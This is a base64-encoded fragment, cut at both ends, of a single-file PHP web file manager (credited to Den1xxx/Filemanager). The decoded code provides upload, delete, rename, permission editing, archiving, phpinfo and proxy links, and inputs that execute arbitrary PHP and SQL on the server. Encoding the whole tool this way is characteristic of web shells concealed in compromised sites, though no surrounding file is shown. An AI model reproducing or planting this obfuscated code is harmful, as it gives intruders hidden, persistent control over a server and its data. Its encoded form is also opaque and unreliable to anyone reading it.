JjaGl2ZSk7CgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB1bmxpbmsoJGFyY2hpdmUuJy5neicpOwoJCWNsZWFyc3RhdGNhY2hlKCk7CgkJc2V0X3RpbWVfbGltaXQoMCk7CgkJLy9kaWUoKTsKCQkkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOwoJCSRwaGFyLT5idWlsZEZyb21EaXJlY3RvcnkoJHNvdXJjZSk7CgkJJHBoYXItPmNvbXByZXNzKFBoYXI6OkdaLCcudGFyLmd6Jyk7CgkJdW5zZXQoJHBoYXIpOwoJCWlmIChpc19maWxlKCRhcmNoaXZlKSkgewoJCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHsKCQkJCXVubGluaygkYXJjaGl2ZSk7IAoJCQkJJGRlc3RpbmF0aW9uIC49ICcuZ3onOwoJCQl9CgoJCQkkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuCgkJCScuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKQoJCQkuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykuJzwvYT4nOwoJCX0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVzJyk7Cgl9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2RlY29tcHJlc3MnXSkpIHsKCQkvLyAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZGVjb21wcmVzcyddKTsKCQkvLyAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKTsKCQkvLyAkZXh0ID0gZW5kKGV4cGxvZGUoIi4iLCAkZGVzdGluYXRpb24pKTsKCQkvLyBpZiAoJGV4dD09J3ppcCcgT1IgJGV4dD09J2d6JykgewoJCQkvLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkc291cmNlKTsKCQkJLy8gJHBoYXItPmRlY29tcHJlc3MoKTsKCQkJLy8gJGJhc2VfZmlsZSA9IHN0cl9yZXBsYWNlKCcuJy4kZXh0LCcnLCRkZXN0aW5hdGlvbik7CgkJCS8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRiYXNlX2ZpbGUpKTsKCQkJLy8gaWYgKCRleHQ9PSd0YXInKXsKCQkJCS8vICRwaGFyID0gbmV3IFBoYXJEYXRhKCRiYXNlX2ZpbGUpOwoJCQkJLy8gJHBoYXItPmV4dHJhY3RUbyhkaXIoJHNvdXJjZSkpOwoJCQkvLyB9CgkJLy8gfSAKCQkvLyAkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnRGVjb21wcmVzcycpLicgJy4kc291cmNlLiciICcuX18oJ2RvbmUnKTsKCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3pmaWxlJ10pKSB7CgkJJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2d6ZmlsZSddKTsKCQkkYXJjaGl2ZSA9ICRzb3VyY2UuJy50YXInOwoJCSRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicudGFyJzsKCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7CgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB1bmxpbmsoJGFyY2hpdmUuJy5neicpOwoJCXNldF90aW1lX2xpbWl0KDApOwoJCS8vZWNobyAkZGVzdGluYXRpb247CgkJJGV4dF9hcnIgPSBleHBsb2RlKCcuJyxiYXNlbmFtZSgkc291cmNlKSk7CgkJaWYgKGlzc2V0KCRleHRfYXJyWzFdKSkgewoJCQl1bnNldCgkZXh0X2FyclswXSk7CgkJCSRleHQ9aW1wbG9kZSgnLicsJGV4dF9hcnIpOwoJCX0gCgkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTsKCQkkcGhhci0+YWRkRmlsZSgkc291cmNlKTsKCQkkcGhhci0+Y29tcHJlc3MoUGhhcjo6R1osJGV4dC4nLnRhci5neicpOwoJCXVuc2V0KCRwaGFyKTsKCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHsKCQkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB7CgkJCQl1bmxpbmsoJGFyY2hpdmUpOyAKCQkJCSRkZXN0aW5hdGlvbiAuPSAnLmd6JzsKCQkJfQoJCQkkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuCgkJCScuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKQoJCQkuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykuJzwvYT4nOwoJCX0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVzJyk7Cgl9Cj8+Cjx0YWJsZSBjbGFzcz0id2hvbGUiIGlkPSJoZWFkZXJfdGFibGUiID4KPHRyPgogICAgPHRoIGNvbHNwYW49IjIiPjw/PV9fKCdGaWxlIG1hbmFnZXInKT8+PD89KCFlbXB0eSgkcGF0aCk/JyAtICcuJHBhdGg6JycpPz48L3RoPgo8L3RyPgo8P3BocCBpZighZW1wdHkoJG1zZykpeyA/Pgo8dHI+Cgk8dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzIiPjw/PSRtc2c/PjwvdGQ+CjwvdHI+Cjw/cGhwIH0gPz4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cyIj4KCQk8dGFibGU+CgkJCTx0cj4KCQkJPHRkPgoJCQkJPD89Zm1faG9tZSgpPz4KCQkJPC90ZD4KCQkJPHRkPgoJCQk8P3BocCBpZighZW1wdHkoJGZtX2NvbmZpZ1snbWFrZV9kaXJlY3RvcnknXSkpIHsgPz4KCQkJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+Ij4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPgoJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcm5hbWUiIHNpemU9IjE1Ij4KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im1rZGlyIiB2YWx1ZT0iPD89X18oJ01ha2UgZGlyZWN0b3J5Jyk/PiI+CgkJCQk8L2Zvcm0+CgkJCTw/cGhwIH0gPz4KCQkJPC90ZD4KCQkJPHRkPgoJCQk8P3BocCBpZighZW1wdHkoJGZtX2NvbmZpZ1snbmV3X2ZpbGUnXSkpIHsgPz4KCQkJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+Ij4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPgoJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVuYW1lIiBzaXplPSIxNSI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJta2ZpbGUiIHZhbHVlPSI8Pz1fXygnTmV3IGZpbGUnKT8+Ij4KCQkJCTwvZm9ybT4KCQkJPD9waHAgfSA/PgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/PWZtX3J1bl9pbnB1dCgncGhwJyk/PgoJCQk8L3RkPgoJCQk8dGQ+CgkJCTw/PWZtX3J1bl9pbnB1dCgnc3FsJyk/PgoJCQk8L3RkPgoJCQk8L3RyPgoJCTwvdGFibGU+CiAgICA8L3RkPgogICAgPHRkIGNsYXNzPSJyb3czIj4KCQk8dGFibGU+CgkJPHRyPgoJCTx0ZD4KCQk8P3BocCBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7ID8+CgkJCTxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPgoJCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiBpZD0idXBsb2FkX2hpZGRlbiIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgZGlzcGxheTogYmxvY2s7IG92ZXJmbG93OiBoaWRkZW47IHdpZHRoOiAwOyBoZWlnaHQ6IDA7IGJvcmRlcjogMDsgcGFkZGluZzogMDsiIG9uY2hhbmdlPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX3Zpc2libGUnKS52YWx1ZSA9IHRoaXMudmFsdWU7IiAvPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgcmVhZG9ubHk9IjEiIGlkPSJ1cGxvYWRfdmlzaWJsZSIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdTZWxlY3QgdGhlIGZpbGUnKT8+IiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF9oaWRkZW4nKS5jbGljaygpOyIgLz4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idGVzdCIgdmFsdWU9Ijw/PV9fKCdVcGxvYWQnKT8+IiAvPgoJCQk8L2Zvcm0+CgkJPD9waHAgfSA/PgoJCTwvdGQ+CgkJPHRkPgoJCTw/cGhwIGlmICgkYXV0aFsnYXV0aG9yaXplJ10pIHsgPz4KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7CgkJCTxpbnB1dCBuYW1lPSJxdWl0IiB0eXBlPSJoaWRkZW4iIHZhbHVlPSIxIj4KCQkJPD89X18oJ0hlbGxvJyk/PiwgPD89JGF1dGhbJ2xvZ2luJ10/PgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPD89X18oJ1F1aXQnKT8+Ij4KCQkJPC9mb3JtPgoJCTw/cGhwIH0gPz4KCQk8L3RkPgoJCTx0ZD4KCQk8Pz1mbV9sYW5nX2Zvcm0oJGxhbmd1YWdlKT8+CgkJPC90ZD4KCQk8dHI+CgkJPC90YWJsZT4KICAgIDwvdGQ+CjwvdHI+CjwvdGFibGU+Cjx0YWJsZSBjbGFzcz0iYWxsIiBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPScxJyBjZWxscGFkZGluZz0nMScgaWQ9ImZtX3RhYmxlIiB3aWR0aD0iMTAwJSI+Cjx0aGVhZD4KPHRyPiAKICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0ZpbGVuYW1lJyk/PiA8L3RoPgogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnU2l6ZScpPz4gPC90aD4KICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0RhdGUnKT8+IDwvdGg+CiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdSaWdodHMnKT8+IDwvdGg+CiAgICA8dGggY29sc3Bhbj0iNCIgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdNYW5hZ2UnKT8+IDwvdGg+CjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KPD9waHAKJGVsZW1lbnRzID0gZm1fc2Nhbl9kaXIoJHBhdGgsICcnLCAnYWxsJywgdHJ1ZSk7CiRkaXJzID0gYXJyYXkoKTsKJGZpbGVzID0gYXJyYXkoKTsKZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlKXsKICAgIGlmKEBpc19kaXIoJHBhdGggLiAkZmlsZSkpewogICAgICAgICRkaXJzW10gPSAkZmlsZTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGZpbGVzW10gPSAkZmlsZTsKICAgIH0KfQpuYXRzb3J0KCRkaXJzKTsgbmF0c29ydCgkZmlsZXMpOwokZWxlbWVudHMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKCmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7CiAgICAkZmlsZW5hbWUgPSAkcGF0aCAuICRmaWxlOwogICAgJGZpbGVkYXRhID0gQHN0YXQoJGZpbGVuYW1lKTsKICAgIGlmKEBpc19kaXIoJGZpbGVuYW1lKSl7CgkJJGZpbGVkYXRhWzddID0gJyc7CgkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X2Rpcl9zaXplJ10pJiYhZm1fcm9vdCgkZmlsZSkpICRmaWxlZGF0YVs3XSA9IGZtX2Rpcl9zaXplKCRmaWxlbmFtZSk7CiAgICAgICAgJGxpbmsgPSAnPGEgaHJlZj0iJy4kdXJsX2luYy4nJnBhdGg9Jy4kcGF0aC4kZmlsZS4nIiB0aXRsZT0iJy5fXygnU2hvdycpLicgJy4kZmlsZS4nIj48c3BhbiBjbGFzcz0iZm9sZGVyIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nOwogICAgICAgICRsb2FkbGluaz0gKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ3ppcCcsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDt6aXAnLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlKTsKCQkkYXJsaW5rICA9IChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdneicsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDsudGFyLmd6JyxfXygnQXJjaGl2aW5nJykuJyAnLiRmaWxlKTsKICAgICAgICAkc3R5bGUgPSAncm93Mic7CgkJIGlmICghZm1fcm9vdCgkZmlsZSkpICRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJyAuIF9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/JykuJ1xuIC8nLiAkZmlsZS4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsgZWxzZSAkYWxlcnQgPSAnJzsKICAgIH0gZWxzZSB7CgkJJGxpbmsgPSAKCQkJJGZtX2NvbmZpZ1snc2hvd19pbWcnXSYmQGdldGltYWdlc2l6ZSgkZmlsZW5hbWUpIAoJCQk/ICc8YSB0YXJnZXQ9Il9ibGFuayIgb25jbGljaz0idmFyIGxlZnRvID0gc2NyZWVuLmF2YWlsV2lkdGgvMi0zMjA7d2luZG93Lm9wZW4oXCcnCgkJCS4gZm1faW1nX2xpbmsoJGZpbGVuYW1lKQoJCQkuJ1wnLFwncG9wdXBcJyxcJ3dpZHRoPTY0MCxoZWlnaHQ9NDgwLGxlZnQ9XCcgKyBsZWZ0byArIFwnLHNjcm9sbGJhcnM9eWVzLHRvb2xiYXI9bm8sbG9jYXRpb249bm8sZGlyZWN0b3JpZXM9bm8sc3RhdHVzPW5vXCcpO3JldHVybiBmYWxzZTsiIGhyZWY9IicuZm1faW1nX2xpbmsoJGZpbGVuYW1lKS4nIj48c3BhbiBjbGFzcz0iaW1nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nCgkJCTogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmZWRpdD0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoLiAnIiB0aXRsZT0iJyAuIF9fKCdFZGl0JykgLiAnIj48c3BhbiBjbGFzcz0iZmlsZSI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPiAnLiRmaWxlLic8L2E+JzsKCQkkZV9hcnIgPSBleHBsb2RlKCIuIiwgJGZpbGUpOwoJCSRleHQgPSBlbmQoJGVfYXJyKTsKICAgICAgICAkbG9hZGxpbmsgPSAgZm1fbGluaygnZG93bmxvYWQnLCRmaWxlbmFtZSxfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRmaWxlKTsKCQkkYXJsaW5rID0gaW5fYXJyYXkoJGV4dCxhcnJheSgnemlwJywnZ3onLCd0YXInKSkgCgkJPyAnJwoJCTogKChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdnemZpbGUnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4gJGZpbGUpKTsKICAgICAgICAkc3R5bGUgPSAncm93MSc7CgkJJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGUuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCcnIC4gJHVybF9pbmMgLiAnJmRlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOwogICAgfQogICAgJGRlbGV0ZWxpbmsgPSBmbV9yb290KCRmaWxlKSA/ICcnIDogJzxhIGhyZWY9IiMiIHRpdGxlPSInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZSAuICciICcgLiAkYWxlcnQgLiAnPicgLiBfXygnRGVsZXRlJykgLiAnPC9hPic7CiAgICAkcmVuYW1lbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICciIHRpdGxlPSInIC4gX18oJ1JlbmFtZScpIC4nICcuICRmaWxlIC4gJyI+JyAuIF9fKCdSZW5hbWUnKSAuICc8L2E+JzsKICAgICRyaWdodHN0ZXh0ID0gKCRmaWxlPT0nLicgfHwgJGZpbGU9PScuLicpID8gJycgOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZyaWdodHM9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICciIHRpdGxlPSInIC4gX18oJ1JpZ2h0cycpIC4nICcuICRmaWxlIC4gJyI+JyAuIEBmbV9yaWdodHNfc3RyaW5nKCRmaWxlbmFtZSkgLiAnPC9hPic7Cj8+Cjx0ciBjbGFzcz0iPD89JHN0eWxlPz4iPiAKICAgIDx0ZD48Pz0kbGluaz8+PC90ZD4KICAgIDx0ZD48Pz0kZmlsZWRhdGFbN10/PjwvdGQ+CiAgICA8dGQgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+PD89Z21kYXRlKCJZLW0tZCBIOmk6cyIsJGZpbGVkYXRhWzldKT8+PC90ZD4KICAgIDx0ZD48Pz0kcmlnaHRzdGV4dD8+PC90ZD4KICAgIDx0ZD48Pz0kZGVsZXRlbGluaz8+PC90ZD4KICAgIDx0ZD48Pz0kcmVuYW1lbGluaz8+PC90ZD4KICAgIDx0ZD48Pz0kbG9hZGxpbms/PjwvdGQ+CiAgICA8dGQ+PD89JGFybGluaz8+PC90ZD4KPC90cj4KPD9waHAKICAgIH0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSJyb3czIj48P3BocAoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsgCgkkdG90YWx0aW1lID0gJG10aW1lWzBdICsgJG10aW1lWzFdIC0gJHN0YXJ0dGltZTsgCgllY2hvIGZtX2hvbWUoKS4nIHwgdmVyLiAnLiRmbV92ZXJzaW9uLicgfCA8YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vRGVuMXh4eC9GaWxlbWFuYWdlciI+R2l0aHViPC9hPiAgfCA8YSBocmVmPSInLmZtX3NpdGVfdXJsKCkuJyI+LjwvYT4nOwoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocF92ZXInXSkpIGVjaG8gJyB8IFBIUCAnLnBocHZlcnNpb24oKTsKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfaW5pJ10pKSBlY2hvICcgfCAnLnBocF9pbmlfbG9hZGVkX2ZpbGUoKTsKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19ndCddKSkgZWNobyAnIHwgJy5fXygnR2VuZXJhdGlvbiB0aW1lJykuJzogJy5yb3VuZCgkdG90YWx0aW1lLDIpOwoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcHJveHknXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9wcm94eT10cnVlIj5wcm94eTwvYT4nOwoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocGluZm8nXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9waHBpbmZvPXRydWUiPnBocGluZm88L2E+JzsKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd194bHMnXSkmJiFlbXB0eSgkbGluaykpIGVjaG8gJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6IHZvaWQoMCkiIG9uY2xpY2s9InZhciBvYmogPSBuZXcgdGFibGUyRXhjZWwoKTsgb2JqLkNyZWF0ZUV4Y2VsU2hlZXQoXCdmbV90YWJsZVwnLFwnZXhwb3J0XCcpOyIgdGl0bGU9IicuX18oJ0Rvd25sb2FkJykuJyB4bHMiPnhsczwvYT4nOwoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9zZXR0aW5ncyddKSkgZWNobyAnIHwgPGEgaHJlZj0iP2ZtX3NldHRpbmdzPXRydWUiPicuX18oJ1NldHRpbmdzJykuJzwvYT4nOwoJPz4KPC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZG93bmxvYWRfeGxzKGZpbGVuYW1lLCB0ZXh0KSB7Cgl2YXIgZWxlbWVudCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsKCWVsZW1lbnQuc2V0QXR0cmlidXRlKCdocmVmJywgJ2RhdGE6YXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsO2Jhc2U2NCwnICsgdGV4dCk7CgllbGVtZW50LnNldEF0dHJpYnV0ZSgnZG93bmxvYWQnLCBmaWxlbmFtZSk7CgllbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Cglkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsZW1lbnQpOwoJZWxlbWVudC5jbGljaygpOwoJZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChlbGVtZW50KTsKfQoKZnVuY3Rpb24gYmFzZTY0X2VuY29kZShtKSB7Cglmb3IgKHZhciBrID0gIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8iLnNwbGl0KCIiKSwgYywgZCwgaCwgZSwgYSwgZyA9ICIiLCBiID0gMCwgZiwgbCA9IDA7IGwgPCBtLmxlbmd0aDsgKytsKSB7CgkJYyA9IG0uY2hhckNvZGVBdChsKTsKCQlpZiAoMTI4ID4gYykgZCA9IDE7CgkJZWxzZQoJCQlmb3IgKGQgPSAyOyBjID49IDIgPDwgNSAqIGQ7KSArK2Q7CgkJZm9yIChoID0gMDsgaCA8IGQ7ICsraCkgMSA9PSBkID8gZSA9IGMgOiAoZSA9IGggPyAxMjggOiAxOTIsIGEgPSBkIC0gMiAtIDYgKiBoLCAwIDw9IGEgJiYgKGUgKz0gKDYgPD0gYSA/IDEgOiAwKSArICg1IDw9IGEgPyAyIDogMCkgKyAoNCA8PSBhID8gNCA6IDApICsgKDMgPD0gYSA/IDggOiAwKSArICgyIDw9IGEgPyAxNiA6IDApICsgKDEgPD0gYSA/IDMyIDogMCksIGEgLT0gNSksIDAgPiBhICYmICh1ID0gNiAqIChkIC0gMSAtIGgpLCBlICs9IGMgPj4gdSwgYyAtPSBjID4+IHUgPDwgdSkpLCBmID0gYiA/IGYgPDwgNiAtIGIgOiAwLCBiICs9IDIsIGYgKz0gZSA+PiBiLCBnICs9IGtbZl0sIGYgPSBlICUgKDEgPDwgYiksIDYgPT0gYiAmJiAoYiA9IDAsIGcgKz0ga1tmXSkKCX0KCWIgJiYgKGcgKz0ga1tmIDw8IDYgLSBiXSk7CglyZXR1cm4gZwp9CgoKdmFyIHRhYmxlVG9FeGNlbERhdGEgPSAoZnVuY3Rpb24oKSB7CiAgICB2YXIgdXJpID0gJ2RhdGE6YXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsO2Jhc2U2NCwnLAogICAgdGVtcGxhdGUgPSAnPGh0bWwgeG1sbnM6bz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiB4bWxuczp4PSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpleGNlbCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnL1RSL1JFQy1odG1sNDAiPjxoZWFkPjwhLS1baWYgZ3RlIG1zbyA5XT48eG1sPjx4OkV4Y2VsV29ya2Jvb2s+PHg6RXhjZWxXb3Jrc2hlZXRzPjx4OkV4Y2VsV29ya3NoZWV0Pjx4Ok5hbWU+e3dvcmtzaGVldH08L3g6TmFtZT48eDpXb3Jrc2hlZXRPcHRpb25zPjx4OkRpc3BsYXlHcmlkbGluZXM+PC94OkRpc3BsYXlHcmlkbGluZXM+PC94OldvcmtzaGVldE9wdGlvbnM+PC94OkV4Y2VsV29ya3NoZWV0PjwveDpFeGNlbFdvcmtzaGVldHM+PC94OkV4Y2VsV29ya2Jvb2s+PC94bWw+PCFbZW5kaWZdLS0+PG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04Ii8+PC9oZWFkPjxib2R5Pjx0YWJsZT57dGFibGV9PC90YWJsZT48L2JvZHk+PC9odG1sPicsCiAgICBmb3JtYXQgPSBmdW5jdGlvbihzLCBjKSB7CiAgICAgICAgICAgIHJldHVybiBzLnJlcGxhY2UoL3soXHcrKX0vZywgZnVuY3Rpb24obSwgcCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGNbcF07CiAgICAgICAgICAgIH0pCiAgICAgICAgfQogICAgcmV0dXJuIGZ1bmN0aW9uKHRhYmxlLCBuYW1lKSB7CiAgICAgICAgaWYgKCF0YWJsZS5ub2RlVHlwZSkgdGFibGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0YWJsZSkKICAgICAgICB2YXIgY3R4ID0gewogICAgICAgICAgICB3b3Jrc2hlZXQ6IG5hbWUgfHwgJ1dvcmtzaGVldCcsCiAgICAgICAgICAgIHRhYmxlOiB0YWJsZS5pbm5lckhUTUwucmVwbGFjZSgvPHNwYW4oLio/KVwvc3Bhbj4gL2csIiIpLnJlcGxhY2UoLzxhXGJbXj5dKj4oLio/KTxcL2E+L2csIiQxIikKICAgICAgICB9CgkJdCA9IG5ldyBEYXRlKCk7CgkJZmlsZW5hbWUgPSAnZm1fJyArIHQudG9JU09TdHJpbmcoKSArICcueGxzJwoJCWRvd25sb2FkX3hscyhmaWxlbmFtZSwgYmFzZTY0X2VuY29kZShmb3JtYXQodGVtcGxhdGUsIGN0eCkpKQogICAgfQp9KSgpOwoKdmFyIHRhYmxlMkV4Y2VsID0gZnVuY3Rpb24gKCkgewoKICAgIHZhciB1YSA9IHdpbmRvdy5uYXZpZ2F0b3IudXNlckFnZW50OwogICAgdmFyIG1zaWUgPSB1YS5pbmRleE9mKCJNU0lFICIpOwoKCXRoaXMuQ3JlYXRlRXhjZWxTaGVldCA9IAoJCWZ1bmN0aW9